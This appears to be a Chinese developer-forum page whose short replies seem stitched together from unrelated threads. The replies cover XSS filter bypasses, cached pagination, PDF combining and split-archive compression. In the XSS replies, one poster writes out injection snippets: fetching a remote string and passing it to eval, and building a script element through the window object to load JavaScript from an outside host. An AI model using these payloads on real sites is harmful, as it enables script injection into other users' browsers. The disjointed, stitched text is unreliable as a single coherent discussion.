@lhstock

解析不受控，老哥能否具体说说怎么做？

@wednesdayco

可以的，我想到的有两种：

1. fetch 一个外部字符串，然后 eval ，fetch('').then(function (val) { eval(val) })，字符串的内容就是正经插入就可以。

2. 设置了请求策略的话可以借用 window 对象，`Object.assign(window, { xss: [] })`，这样就得到了一个可以存放任意变量的`window.xss`对象，然后`window.xss.push(document.createElement('script')); window.xss[0].setAttribute('src', 'http://www.baidu.com'); document.body.appendChild(window.xss[0])`，就插入外部 js 了。

@jin5354

这还是有点不一样吧，并没有过滤<>/，script ，要是想攻击我直接插一个外部 JS 就完事了，我还用得着绕个大圈讲武德的硬写 HTML?

@learningman

哈哈哈，可惜不是刷题木有答案，就是想找这个可以转换成=的字符，知识到了边界找不到了= =。

@jin5354

这样没有达到本来的目的，这样只对我自己有效，这样搞就变成一个只能打自己的反射 XSS 了。

@mxT52CRuqR6o5

是的，还是有 XSS 风险，只是我的目的不是攻击，也没有权限改其他人的网站。

@Xusually

是= =，只是并不为了攻击。

@vanton

大佬，不在挣扎一下吗= =。

@gadfly3173
@Zzm1203
@yinjunjian0

emmm...例子是完整情况。

我期望通过输入`<a href="123">123</a>`的方式让 a 标签生效，但现在我输入的`<a href="123">123</a>`会被后端过滤为`<a href"123">123</a>`，前端拿到后不会做任何过滤直接输出。后端如何写的替换并不清楚= =，无法控制过滤规则。

不能用 JS 是一个限制条件。

@shew2356

完全就是这个意思~。

@Huyoumnonos

类似 XSS ，过滤了部分字符。

mark 一下，好公司~。

恭喜~。

还有两个字母它们做错了什么😭。

@3dwelcome

可以做一下改进，前端只传缓存的最新一个 ID ，后端根据传过来的 ID 查询出这个 ID 之后的内容。前端合并一下结果做下分片，在约定一个参数用来标识出改变分页大小的情况。

可以做类似 304 缓存的查询吧，询问是否有更新，有更新则把缓存的 ID 都带上给后端做对比，返回差值，然后前端更新缓存。

分子。

@xuanbg

还是有点不同的，已生成的 PDF 无法继续分割和融合，不能改变原 PDF 只能挑选组合他们。

@fcxxzux

强的老哥，这下可以跑测试用例验证了。

@yehoshua
@flyingghost

分卷压缩之前确实没想到，已加入保底方案中，标题这个看到回复立马就实现了，谢谢！